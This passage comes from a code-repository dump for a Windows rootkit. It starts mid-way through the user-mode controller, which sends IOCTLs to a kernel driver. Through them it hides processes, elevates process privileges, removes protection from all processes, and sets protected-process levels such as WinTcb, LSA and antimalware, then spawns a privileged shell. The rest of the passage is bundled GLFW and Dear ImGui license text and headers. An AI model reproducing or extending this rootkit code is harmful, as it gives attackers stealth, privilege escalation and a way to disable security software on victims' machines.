(!lpBytesReturned) 95 | { 96 | printf("The process %d has been hidden.\n", pid); 97 | } 98 | else 99 | { 100 | if (!isProcessRunning(pid)) 101 | printf("Failed to hide the process.\n"); 102 | else 103 | printf("Invalid process ID (pid). Please make sure to provide a valid pid.\n"); 104 | return (-1); 105 | } 106 | } 107 | if (option == 3 || option == 2) 108 | { 109 | if (DeviceIoControl(hdevice, PRIVILEGE_ELEVATION, (LPVOID)&pid, sizeof(pid), &lpBytesReturned, sizeof(lpBytesReturned), 0, NULL)) 110 | printf("IOCTL %x sent!\n", PRIVILEGE_ELEVATION); 111 | else 112 | { 113 | printf("Failed to send the IOCTL %x.\n", PRIVILEGE_ELEVATION); 114 | return (-1); 115 | } 116 | if (!lpBytesReturned) 117 | { 118 | printf("The privilege of process %d has been elevated.\n", pid); 119 | } 120 | else 121 | { 122 | if (!isProcessRunning(pid)) 123 | printf("Failed to elevate the process %d.\n", pid); 124 | else 125 | printf("Invalid process ID (pid). Please make sure to provide a valid pid.\n"); 126 | return (-1); 127 | } 128 | } 129 | if (option == 4) 130 | { 131 | if (DeviceIoControl(hdevice, UNPROTECT_ALL_PROCESSES, NULL, NULL, &lpBytesReturned, sizeof(lpBytesReturned), 0, NULL)) 132 | printf("IOCTL %x sent!\n", UNPROTECT_ALL_PROCESSES); 133 | else 134 | { 135 | printf("Failed to send the IOCTL.\n"); 136 | return (-1); 137 | } 138 | if (!lpBytesReturned) 139 | { 140 | printf("all processes protection has been removed.\n"); 141 | } 142 | } 143 | if (option == 5) 144 | { 145 | int ElOption = 0; 146 | printOptions(); 147 | 148 | printf("Enter option :"); 149 | 150 | scanf_s("%d", &ElOption); 151 | 152 | if (ElOption <= 0 || ElOption >= 10) 153 | { 154 | printf("invalid provided option !!\n"); 155 | return (-1); 156 | } 157 | if (ElOption == 1) 158 | { 159 | if (DeviceIoControl(hdevice, PROTECTION_LEVEL_SYSTEM, (LPVOID)&pid, sizeof(pid), &lpBytesReturned, sizeof(lpBytesReturned), 0, NULL)) 160 | printf("IOCTL %x sent!\n", PROTECTION_LEVEL_SYSTEM); 161 | else 162 | printf("Failed to send the IOCTL.\n"); 163 | } 164 | if (ElOption == 2) 165 | { 166 | if (DeviceIoControl(hdevice, PROTECTION_LEVEL_WINTCB, (LPVOID)&pid, sizeof(pid), &lpBytesReturned, sizeof(lpBytesReturned), 0, NULL)) 167 | printf("IOCTL %x sent!\n", PROTECTION_LEVEL_WINTCB); 168 | else 169 | printf("Failed to send the IOCTL.\n"); 170 | } 171 | if (ElOption == 3) 172 | { 173 | if (DeviceIoControl(hdevice, PROTECTION_LEVEL_WINDOWS, (LPVOID)&pid, sizeof(pid), &lpBytesReturned, sizeof(lpBytesReturned), 0, NULL)) 174 | printf("IOCTL %x sent!\n", PROTECTION_LEVEL_WINDOWS); 175 | else 176 | printf("Failed to send the IOCTL.\n"); 177 | } 178 | if (ElOption == 4) 179 | { 180 | if (DeviceIoControl(hdevice, PROTECTION_LEVEL_AUTHENTICODE, (LPVOID)&pid, sizeof(pid), &lpBytesReturned, sizeof(lpBytesReturned), 0, NULL)) 181 | printf("IOCTL %x sent!\n", PROTECTION_LEVEL_AUTHENTICODE); 182 | else 183 | printf("Failed to send the IOCTL.\n"); 184 | } 185 | if (ElOption == 5) 186 | { 187 | if (DeviceIoControl(hdevice, PROTECTION_LEVEL_WINTCB_LIGHT, (LPVOID)&pid, sizeof(pid), &lpBytesReturned, sizeof(lpBytesReturned), 0, NULL)) 188 | printf("IOCTL %x sent!\n", PROTECTION_LEVEL_WINTCB_LIGHT); 189 | else 190 | printf("Failed to send the IOCTL.\n"); 191 | } 192 | if (ElOption == 6) 193 | { 194 | if (DeviceIoControl(hdevice, PROTECTION_LEVEL_WINDOWS_LIGHT, (LPVOID)&pid, sizeof(pid), &lpBytesReturned, sizeof(lpBytesReturned), 0, NULL)) 195 | printf("IOCTL %x sent!\n", PROTECTION_LEVEL_WINDOWS_LIGHT); 196 | else 197 | printf("Failed to send the IOCTL.\n"); 198 | } 199 | if (ElOption == 7) 200 | { 201 | if (DeviceIoControl(hdevice, PROTECTION_LEVEL_LSA_LIGHT, (LPVOID)&pid, sizeof(pid), &lpBytesReturned, sizeof(lpBytesReturned), 0, NULL)) 202 | printf("IOCTL %x sent!\n", PROTECTION_LEVEL_LSA_LIGHT); 203 | else 204 | printf("Failed to send the IOCTL.\n"); 205 | } 206 | if (ElOption == 8) 207 | { 208 | if (DeviceIoControl(hdevice, PROTECTION_LEVEL_ANTIMALWARE_LIGHT, (LPVOID)&pid, sizeof(pid), &lpBytesReturned, sizeof(lpBytesReturned), 0, NULL)) 209 | printf("IOCTL %x sent!\n", PROTECTION_LEVEL_ANTIMALWARE_LIGHT); 210 | else 211 | printf("Failed to send the IOCTL.\n"); 212 | } 213 | if (ElOption == 8) 214 | { 215 | if (DeviceIoControl(hdevice, PROTECTION_LEVEL_AUTHENTICODE_LIGHT, (LPVOID)&pid, sizeof(pid), &lpBytesReturned, sizeof(lpBytesReturned), 0, NULL)) 216 | printf("IOCTL %x sent!\n", PROTECTION_LEVEL_AUTHENTICODE_LIGHT); 217 | else 218 | printf("Failed to send the IOCTL.\n"); 219 | 220 | } 221 | if (!lpBytesReturned) 222 | { 223 | printf("The protection of process %d has been changed.\n", pid); 224 | } 225 | } 226 | if (pid == GetCurrentProcessId()) 227 | { 228 | system("start"); 229 | printf("Privileged process spawned successfully\n"); 230 | } 231 | CloseHandle(hdevice); 232 | system("pause"); 233 | return (0); 234 | } 235 | -------------------------------------------------------------------------------- /ring3-gui/libs/glfw/COPYING.txt: -------------------------------------------------------------------------------- 1 | Copyright (c) 2002-2006 Marcus Geelnard 2 | Copyright (c) 2006-2010 Camilla Berglund 3 | 4 | This software is provided 'as-is', without any express or implied 5 | warranty. In no event will the authors be held liable for any damages 6 | arising from the use of this software. 7 | 8 | Permission is granted to anyone to use this software for any purpose, 9 | including commercial applications, and to alter it and redistribute it 10 | freely, subject to the following restrictions: 11 | 12 | 1. The origin of this software must not be misrepresented; you must not 13 | claim that you wrote the original software. If you use this software 14 | in a product, an acknowledgment in the product documentation would 15 | be appreciated but is not required. 16 | 17 | 2. Altered source versions must be plainly marked as such, and must not 18 | be misrepresented as being the original software. 19 | 20 | 3. This notice may not be removed or altered from any source 21 | distribution. 22 | 23 | -------------------------------------------------------------------------------- /ring3-gui/libs/glfw/lib-vc2010-32/glfw3.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZeroMemoryEx/Chaos-Rootkit/9fa3c267253bfb60ab83f92202ec7800110f1e23/ring3-gui/libs/glfw/lib-vc2010-32/glfw3.lib -------------------------------------------------------------------------------- /ring3-gui/libs/glfw/lib-vc2010-64/glfw3.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZeroMemoryEx/Chaos-Rootkit/9fa3c267253bfb60ab83f92202ec7800110f1e23/ring3-gui/libs/glfw/lib-vc2010-64/glfw3.lib -------------------------------------------------------------------------------- /ring3-gui/libs/glfw/lib-vc2022-32/glfw3.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZeroMemoryEx/Chaos-Rootkit/9fa3c267253bfb60ab83f92202ec7800110f1e23/ring3-gui/libs/glfw/lib-vc2022-32/glfw3.dll -------------------------------------------------------------------------------- /ring3-gui/libs/glfw/lib-vc2022-32/glfw3.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZeroMemoryEx/Chaos-Rootkit/9fa3c267253bfb60ab83f92202ec7800110f1e23/ring3-gui/libs/glfw/lib-vc2022-32/glfw3.lib -------------------------------------------------------------------------------- /ring3-gui/libs/glfw/lib-vc2022-32/glfw3_mt.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZeroMemoryEx/Chaos-Rootkit/9fa3c267253bfb60ab83f92202ec7800110f1e23/ring3-gui/libs/glfw/lib-vc2022-32/glfw3_mt.lib -------------------------------------------------------------------------------- /ring3-gui/libs/glfw/lib-vc2022-32/glfw3dll.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZeroMemoryEx/Chaos-Rootkit/9fa3c267253bfb60ab83f92202ec7800110f1e23/ring3-gui/libs/glfw/lib-vc2022-32/glfw3dll.lib -------------------------------------------------------------------------------- /ring3-gui/libs/glfw/lib-vc2022-64/glfw3.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZeroMemoryEx/Chaos-Rootkit/9fa3c267253bfb60ab83f92202ec7800110f1e23/ring3-gui/libs/glfw/lib-vc2022-64/glfw3.dll -------------------------------------------------------------------------------- /ring3-gui/libs/glfw/lib-vc2022-64/glfw3.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZeroMemoryEx/Chaos-Rootkit/9fa3c267253bfb60ab83f92202ec7800110f1e23/ring3-gui/libs/glfw/lib-vc2022-64/glfw3.lib -------------------------------------------------------------------------------- /ring3-gui/libs/glfw/lib-vc2022-64/glfw3_mt.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZeroMemoryEx/Chaos-Rootkit/9fa3c267253bfb60ab83f92202ec7800110f1e23/ring3-gui/libs/glfw/lib-vc2022-64/glfw3_mt.lib -------------------------------------------------------------------------------- /ring3-gui/libs/glfw/lib-vc2022-64/glfw3dll.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZeroMemoryEx/Chaos-Rootkit/9fa3c267253bfb60ab83f92202ec7800110f1e23/ring3-gui/libs/glfw/lib-vc2022-64/glfw3dll.lib -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/LICENSE.txt: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2014-2023 Omar Cornut 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/backends/imgui_impl_allegro5.h: -------------------------------------------------------------------------------- 1 | // dear imgui: Renderer + Platform Backend for Allegro 5 2 | // (Info: Allegro 5 is a cross-platform general purpose library for handling windows, inputs, graphics, etc.) 3 | 4 | // Implemented features: 5 | // [X] Renderer: User texture binding. Use 'ALLEGRO_BITMAP*' as ImTextureID. Read the FAQ about ImTextureID! 6 | // [X] Platform: Keyboard support. Since 1.87 we are using the io.AddKeyEvent() function. Pass ImGuiKey values to all key functions e.g. ImGui::IsKeyPressed(ImGuiKey_Space). [Legacy ALLEGRO_KEY_* values will also be supported unless IMGUI_DISABLE_OBSOLETE_KEYIO is set] 7 | // [X] Platform: Clipboard support (from Allegro 5.1.12) 8 | // [X] Platform: Mouse cursor shape and visibility. Disable with 'io.ConfigFlags |= ImGuiConfigFlags_NoMouseCursorChange'. 9 | // Issues: 10 | // [ ] Renderer: The renderer is suboptimal as we need to unindex our buffers and convert vertices manually. 11 | // [ ] Platform: Missing gamepad support. 12 | 13 | // You can use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. 14 | // Prefer including the entire imgui/ repository into your project (either as a copy or as a submodule), and only build the backends you need. 15 | // If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. 16 | // Read online: https://github.com/ocornut/imgui/tree/master/docs 17 | 18 | #pragma once 19 | #include "imgui.h" // IMGUI_IMPL_API 20 | 21 | struct ALLEGRO_DISPLAY; 22 | union ALLEGRO_EVENT; 23 | 24 | IMGUI_IMPL_API bool ImGui_ImplAllegro5_Init(ALLEGRO_DISPLAY* display); 25 | IMGUI_IMPL_API void ImGui_ImplAllegro5_Shutdown(); 26 | IMGUI_IMPL_API void ImGui_ImplAllegro5_NewFrame(); 27 | IMGUI_IMPL_API void ImGui_ImplAllegro5_RenderDrawData(ImDrawData* draw_data); 28 | IMGUI_IMPL_API bool ImGui_ImplAllegro5_ProcessEvent(ALLEGRO_EVENT* event); 29 | 30 | // Use if you want to reset your rendering device without losing Dear ImGui state. 31 | IMGUI_IMPL_API bool ImGui_ImplAllegro5_CreateDeviceObjects(); 32 | IMGUI_IMPL_API void ImGui_ImplAllegro5_InvalidateDeviceObjects(); 33 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/backends/imgui_impl_android.h: -------------------------------------------------------------------------------- 1 | // dear imgui: Platform Binding for Android native app 2 | // This needs to be used along with the OpenGL 3 Renderer (imgui_impl_opengl3) 3 | 4 | // Implemented features: 5 | // [X] Platform: Keyboard support. Since 1.87 we are using the io.AddKeyEvent() function. Pass ImGuiKey values to all key functions e.g. ImGui::IsKeyPressed(ImGuiKey_Space). [Legacy AKEYCODE_* values will also be supported unless IMGUI_DISABLE_OBSOLETE_KEYIO is set] 6 | // [X] Platform: Mouse support. Can discriminate Mouse/TouchScreen/Pen. 7 | // Missing features: 8 | // [ ] Platform: Clipboard support. 9 | // [ ] Platform: Gamepad support. Enable with 'io.ConfigFlags |= ImGuiConfigFlags_NavEnableGamepad'. 10 | // [ ] Platform: Mouse cursor shape and visibility. Disable with 'io.ConfigFlags |= ImGuiConfigFlags_NoMouseCursorChange'. FIXME: Check if this is even possible with Android. 11 | // Important: 12 | // - Consider using SDL or GLFW backend on Android, which will be more full-featured than this. 13 | // - FIXME: On-screen keyboard currently needs to be enabled by the application (see examples/ and issue #3446) 14 | // - FIXME: Unicode character inputs needs to be passed by Dear ImGui by the application (see examples/ and issue #3446) 15 | 16 | // You can use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. 17 | // Prefer including the entire imgui/ repository into your project (either as a copy or as a submodule), and only build the backends you need. 18 | // If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. 19 | // Read online: https://github.com/ocornut/imgui/tree/master/docs 20 | 21 | #pragma once 22 | 23 | struct ANativeWindow; 24 | struct AInputEvent; 25 | 26 | IMGUI_IMPL_API bool ImGui_ImplAndroid_Init(ANativeWindow* window); 27 | IMGUI_IMPL_API int32_t ImGui_ImplAndroid_HandleInputEvent(AInputEvent* input_event); 28 | IMGUI_IMPL_API void ImGui_ImplAndroid_Shutdown(); 29 | IMGUI_IMPL_API void ImGui_ImplAndroid_NewFrame(); 30 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/backends/imgui_impl_dx10.h: -------------------------------------------------------------------------------- 1 | // dear imgui: Renderer Backend for DirectX10 2 | // This needs to be used along with a Platform Backend (e.g. Win32) 3 | 4 | // Implemented features: 5 | // [X] Renderer: User texture binding. Use 'ID3D10ShaderResourceView*' as ImTextureID. Read the FAQ about ImTextureID! 6 | // [X] Renderer: Large meshes support (64k+ vertices) with 16-bit indices. 7 | 8 | // You can use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. 9 | // Prefer including the entire imgui/ repository into your project (either as a copy or as a submodule), and only build the backends you need. 10 | // If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. 11 | // Read online: https://github.com/ocornut/imgui/tree/master/docs 12 | 13 | #pragma once 14 | #include "imgui.h" // IMGUI_IMPL_API 15 | 16 | struct ID3D10Device; 17 | 18 | IMGUI_IMPL_API bool ImGui_ImplDX10_Init(ID3D10Device* device); 19 | IMGUI_IMPL_API void ImGui_ImplDX10_Shutdown(); 20 | IMGUI_IMPL_API void ImGui_ImplDX10_NewFrame(); 21 | IMGUI_IMPL_API void ImGui_ImplDX10_RenderDrawData(ImDrawData* draw_data); 22 | 23 | // Use if you want to reset your rendering device without losing Dear ImGui state. 24 | IMGUI_IMPL_API void ImGui_ImplDX10_InvalidateDeviceObjects(); 25 | IMGUI_IMPL_API bool ImGui_ImplDX10_CreateDeviceObjects(); 26 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/backends/imgui_impl_dx11.h: -------------------------------------------------------------------------------- 1 | // dear imgui: Renderer Backend for DirectX11 2 | // This needs to be used along with a Platform Backend (e.g. Win32) 3 | 4 | // Implemented features: 5 | // [X] Renderer: User texture binding. Use 'ID3D11ShaderResourceView*' as ImTextureID. Read the FAQ about ImTextureID! 6 | // [X] Renderer: Large meshes support (64k+ vertices) with 16-bit indices. 7 | 8 | // You can use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. 9 | // Prefer including the entire imgui/ repository into your project (either as a copy or as a submodule), and only build the backends you need. 10 | // If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. 11 | // Read online: https://github.com/ocornut/imgui/tree/master/docs 12 | 13 | #pragma once 14 | #include "imgui.h" // IMGUI_IMPL_API 15 | 16 | struct ID3D11Device; 17 | struct ID3D11DeviceContext; 18 | 19 | IMGUI_IMPL_API bool ImGui_ImplDX11_Init(ID3D11Device* device, ID3D11DeviceContext* device_context); 20 | IMGUI_IMPL_API void ImGui_ImplDX11_Shutdown(); 21 | IMGUI_IMPL_API void ImGui_ImplDX11_NewFrame(); 22 | IMGUI_IMPL_API void ImGui_ImplDX11_RenderDrawData(ImDrawData* draw_data); 23 | 24 | // Use if you want to reset your rendering device without losing Dear ImGui state. 25 | IMGUI_IMPL_API void ImGui_ImplDX11_InvalidateDeviceObjects(); 26 | IMGUI_IMPL_API bool ImGui_ImplDX11_CreateDeviceObjects(); 27 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/backends/imgui_impl_dx12.h: -------------------------------------------------------------------------------- 1 | // dear imgui: Renderer Backend for DirectX12 2 | // This needs to be used along with a Platform Backend (e.g. Win32) 3 | 4 | // Implemented features: 5 | // [X] Renderer: User texture binding. Use 'D3D12_GPU_DESCRIPTOR_HANDLE' as ImTextureID. Read the FAQ about ImTextureID! 6 | // [X] Renderer: Large meshes support (64k+ vertices) with 16-bit indices. 7 | 8 | // Important: to compile on 32-bit systems, this backend requires code to be compiled with '#define ImTextureID ImU64'. 9 | // See imgui_impl_dx12.cpp file for details. 10 | 11 | // You can use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. 12 | // Prefer including the entire imgui/ repository into your project (either as a copy or as a submodule), and only build the backends you need. 13 | // If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. 14 | // Read online: https://github.com/ocornut/imgui/tree/master/docs 15 | 16 | #pragma once 17 | #include "imgui.h" // IMGUI_IMPL_API 18 | #include // DXGI_FORMAT 19 | 20 | struct ID3D12Device; 21 | struct ID3D12DescriptorHeap; 22 | struct ID3D12GraphicsCommandList; 23 | struct D3D12_CPU_DESCRIPTOR_HANDLE; 24 | struct D3D12_GPU_DESCRIPTOR_HANDLE; 25 | 26 | // cmd_list is the command list that the implementation will use to render imgui draw lists. 27 | // Before calling the render function, caller must prepare cmd_list by resetting it and setting the appropriate 28 | // render target and descriptor heap that contains font_srv_cpu_desc_handle/font_srv_gpu_desc_handle. 29 | // font_srv_cpu_desc_handle and font_srv_gpu_desc_handle are handles to a single SRV descriptor to use for the internal font texture. 30 | IMGUI_IMPL_API bool ImGui_ImplDX12_Init(ID3D12Device* device, int num_frames_in_flight, DXGI_FORMAT rtv_format, ID3D12DescriptorHeap* cbv_srv_heap, 31 | D3D12_CPU_DESCRIPTOR_HANDLE font_srv_cpu_desc_handle, D3D12_GPU_DESCRIPTOR_HANDLE font_srv_gpu_desc_handle); 32 | IMGUI_IMPL_API void ImGui_ImplDX12_Shutdown(); 33 | IMGUI_IMPL_API void ImGui_ImplDX12_NewFrame(); 34 | IMGUI_IMPL_API void ImGui_ImplDX12_RenderDrawData(ImDrawData* draw_data, ID3D12GraphicsCommandList* graphics_command_list); 35 | 36 | // Use if you want to reset your rendering device without losing Dear ImGui state. 37 | IMGUI_IMPL_API void ImGui_ImplDX12_InvalidateDeviceObjects(); 38 | IMGUI_IMPL_API bool ImGui_ImplDX12_CreateDeviceObjects(); 39 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/backends/imgui_impl_dx9.h: -------------------------------------------------------------------------------- 1 | // dear imgui: Renderer Backend for DirectX9 2 | // This needs to be used along with a Platform Backend (e.g. Win32) 3 | 4 | // Implemented features: 5 | // [X] Renderer: User texture binding. Use 'LPDIRECT3DTEXTURE9' as ImTextureID. Read the FAQ about ImTextureID! 6 | // [X] Renderer: Large meshes support (64k+ vertices) with 16-bit indices. 7 | 8 | // You can use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. 9 | // Prefer including the entire imgui/ repository into your project (either as a copy or as a submodule), and only build the backends you need. 10 | // If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. 11 | // Read online: https://github.com/ocornut/imgui/tree/master/docs 12 | 13 | #pragma once 14 | #include "imgui.h" // IMGUI_IMPL_API 15 | 16 | struct IDirect3DDevice9; 17 | 18 | IMGUI_IMPL_API bool ImGui_ImplDX9_Init(IDirect3DDevice9* device); 19 | IMGUI_IMPL_API void ImGui_ImplDX9_Shutdown(); 20 | IMGUI_IMPL_API void ImGui_ImplDX9_NewFrame(); 21 | IMGUI_IMPL_API void ImGui_ImplDX9_RenderDrawData(ImDrawData* draw_data); 22 | 23 | // Use if you want to reset your rendering device without losing Dear ImGui state. 24 | IMGUI_IMPL_API bool ImGui_ImplDX9_CreateDeviceObjects(); 25 | IMGUI_IMPL_API void ImGui_ImplDX9_InvalidateDeviceObjects(); 26 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/backends/imgui_impl_glfw.h: -------------------------------------------------------------------------------- 1 | // dear imgui: Platform Backend for GLFW 2 | // This needs to be used along with a Renderer (e.g. OpenGL3, Vulkan, WebGPU..) 3 | // (Info: GLFW is a cross-platform general purpose library for handling windows, inputs, OpenGL/Vulkan graphics context creation, etc.) 4 | 5 | // Implemented features: 6 | // [X] Platform: Clipboard support. 7 | // [X] Platform: Mouse support. Can discriminate Mouse/TouchScreen/Pen (Windows only). 8 | // [X] Platform: Keyboard support. Since 1.87 we are using the io.AddKeyEvent() function. Pass ImGuiKey values to all key functions e.g. ImGui::IsKeyPressed(ImGuiKey_Space). [Legacy GLFW_KEY_* values will also be supported unless IMGUI_DISABLE_OBSOLETE_KEYIO is set] 9 | // [X] Platform: Gamepad support. Enable with 'io.ConfigFlags |= ImGuiConfigFlags_NavEnableGamepad'. 10 | // [X] Platform: Mouse cursor shape and visibility. Disable with 'io.ConfigFlags |= ImGuiConfigFlags_NoMouseCursorChange' (note: the resizing cursors requires GLFW 3.4+). 11 | 12 | // You can use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. 13 | // Prefer including the entire imgui/ repository into your project (either as a copy or as a submodule), and only build the backends you need. 14 | // If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. 15 | // Read online: https://github.com/ocornut/imgui/tree/master/docs 16 | 17 | #pragma once 18 | #include "imgui.h" // IMGUI_IMPL_API 19 | 20 | struct GLFWwindow; 21 | struct GLFWmonitor; 22 | 23 | IMGUI_IMPL_API bool ImGui_ImplGlfw_InitForOpenGL(GLFWwindow* window, bool install_callbacks); 24 | IMGUI_IMPL_API bool ImGui_ImplGlfw_InitForVulkan(GLFWwindow* window, bool install_callbacks); 25 | IMGUI_IMPL_API bool ImGui_ImplGlfw_InitForOther(GLFWwindow* window, bool install_callbacks); 26 | IMGUI_IMPL_API void ImGui_ImplGlfw_Shutdown(); 27 | IMGUI_IMPL_API void ImGui_ImplGlfw_NewFrame(); 28 | 29 | // GLFW callbacks install 30 | // - When calling Init with 'install_callbacks=true': ImGui_ImplGlfw_InstallCallbacks() is called. GLFW callbacks will be installed for you. They will chain-call user's previously installed callbacks, if any. 31 | // - When calling Init with 'install_callbacks=false': GLFW callbacks won't be installed. You will need to call individual function yourself from your own GLFW callbacks. 32 | IMGUI_IMPL_API void ImGui_ImplGlfw_InstallCallbacks(GLFWwindow* window); 33 | IMGUI_IMPL_API void ImGui_ImplGlfw_RestoreCallbacks(GLFWwindow* window); 34 | 35 | // GFLW callbacks options: 36 | // - Set 'chain_for_all_windows=true' to enable chaining callbacks for all windows (including secondary viewports created by backends or by user) 37 | IMGUI_IMPL_API void ImGui_ImplGlfw_SetCallbacksChainForAllWindows(bool chain_for_all_windows); 38 | 39 | // GLFW callbacks (individual callbacks to call yourself if you didn't install callbacks) 40 | IMGUI_IMPL_API void ImGui_ImplGlfw_WindowFocusCallback(GLFWwindow* window, int focused); // Since 1.84 41 | IMGUI_IMPL_API void ImGui_ImplGlfw_CursorEnterCallback(GLFWwindow* window, int entered); // Since 1.84 42 | IMGUI_IMPL_API void ImGui_ImplGlfw_CursorPosCallback(GLFWwindow* window, double x, double y); // Since 1.87 43 | IMGUI_IMPL_API void ImGui_ImplGlfw_MouseButtonCallback(GLFWwindow* window, int button, int action, int mods); 44 | IMGUI_IMPL_API void ImGui_ImplGlfw_ScrollCallback(GLFWwindow* window, double xoffset, double yoffset); 45 | IMGUI_IMPL_API void ImGui_ImplGlfw_KeyCallback(GLFWwindow* window, int key, int scancode, int action, int mods); 46 | IMGUI_IMPL_API void ImGui_ImplGlfw_CharCallback(GLFWwindow* window, unsigned int c); 47 | IMGUI_IMPL_API void ImGui_ImplGlfw_MonitorCallback(GLFWmonitor* monitor, int event); 48 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/backends/imgui_impl_glut.h: -------------------------------------------------------------------------------- 1 | // dear imgui: Platform Backend for GLUT/FreeGLUT 2 | // This needs to be used along with a Renderer (e.g. OpenGL2) 3 | 4 | // !!! GLUT/FreeGLUT IS OBSOLETE PREHISTORIC SOFTWARE. Using GLUT is not recommended unless you really miss the 90's. !!! 5 | // !!! If someone or something is teaching you GLUT today, you are being abused. Please show some resistance. !!! 6 | // !!! Nowadays, prefer using GLFW or SDL instead! 7 | 8 | // Implemented features: 9 | // [X] Platform: Partial keyboard support. Since 1.87 we are using the io.AddKeyEvent() function. Pass ImGuiKey values to all key functions e.g. ImGui::IsKeyPressed(ImGuiKey_Space). [Legacy GLUT values will also be supported unless IMGUI_DISABLE_OBSOLETE_KEYIO is set] 10 | // Issues: 11 | // [ ] Platform: GLUT is unable to distinguish e.g. Backspace from CTRL+H or TAB from CTRL+I 12 | // [ ] Platform: Missing horizontal mouse wheel support. 13 | // [ ] Platform: Missing mouse cursor shape/visibility support. 14 | // [ ] Platform: Missing clipboard support (not supported by Glut). 15 | // [ ] Platform: Missing gamepad support. 16 | 17 | // You can use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. 18 | // Prefer including the entire imgui/ repository into your project (either as a copy or as a submodule), and only build the backends you need. 19 | // If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. 20 | // Read online: https://github.com/ocornut/imgui/tree/master/docs 21 | 22 | #pragma once 23 | #include "imgui.h" // IMGUI_IMPL_API 24 | 25 | IMGUI_IMPL_API bool ImGui_ImplGLUT_Init(); 26 | IMGUI_IMPL_API void ImGui_ImplGLUT_InstallFuncs(); 27 | IMGUI_IMPL_API void ImGui_ImplGLUT_Shutdown(); 28 | IMGUI_IMPL_API void ImGui_ImplGLUT_NewFrame(); 29 | 30 | // You can call ImGui_ImplGLUT_InstallFuncs() to get all those functions installed automatically, 31 | // or call them yourself from your own GLUT handlers. We are using the same weird names as GLUT for consistency.. 32 | //---------------------------------------- GLUT name --------------------------------------------- Decent Name --------- 33 | IMGUI_IMPL_API void ImGui_ImplGLUT_ReshapeFunc(int w, int h); // ~ ResizeFunc 34 | IMGUI_IMPL_API void ImGui_ImplGLUT_MotionFunc(int x, int y); // ~ MouseMoveFunc 35 | IMGUI_IMPL_API void ImGui_ImplGLUT_MouseFunc(int button, int state, int x, int y); // ~ MouseButtonFunc 36 | IMGUI_IMPL_API void ImGui_ImplGLUT_MouseWheelFunc(int button, int dir, int x, int y); // ~ MouseWheelFunc 37 | IMGUI_IMPL_API void ImGui_ImplGLUT_KeyboardFunc(unsigned char c, int x, int y); // ~ CharPressedFunc 38 | IMGUI_IMPL_API void ImGui_ImplGLUT_KeyboardUpFunc(unsigned char c, int x, int y); // ~ CharReleasedFunc 39 | IMGUI_IMPL_API void ImGui_ImplGLUT_SpecialFunc(int key, int x, int y); // ~ KeyPressedFunc 40 | IMGUI_IMPL_API void ImGui_ImplGLUT_SpecialUpFunc(int key, int x, int y); // ~ KeyReleasedFunc 41 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/backends/imgui_impl_metal.h: -------------------------------------------------------------------------------- 1 | // dear imgui: Renderer Backend for Metal 2 | // This needs to be used along with a Platform Backend (e.g. OSX) 3 | 4 | // Implemented features: 5 | // [X] Renderer: User texture binding. Use 'MTLTexture' as ImTextureID. Read the FAQ about ImTextureID! 6 | // [X] Renderer: Large meshes support (64k+ vertices) with 16-bit indices. 7 | 8 | // You can use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. 9 | // Prefer including the entire imgui/ repository into your project (either as a copy or as a submodule), and only build the backends you need. 10 | // If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. 11 | // Read online: https://github.com/ocornut/imgui/tree/master/docs 12 | 13 | #include "imgui.h" // 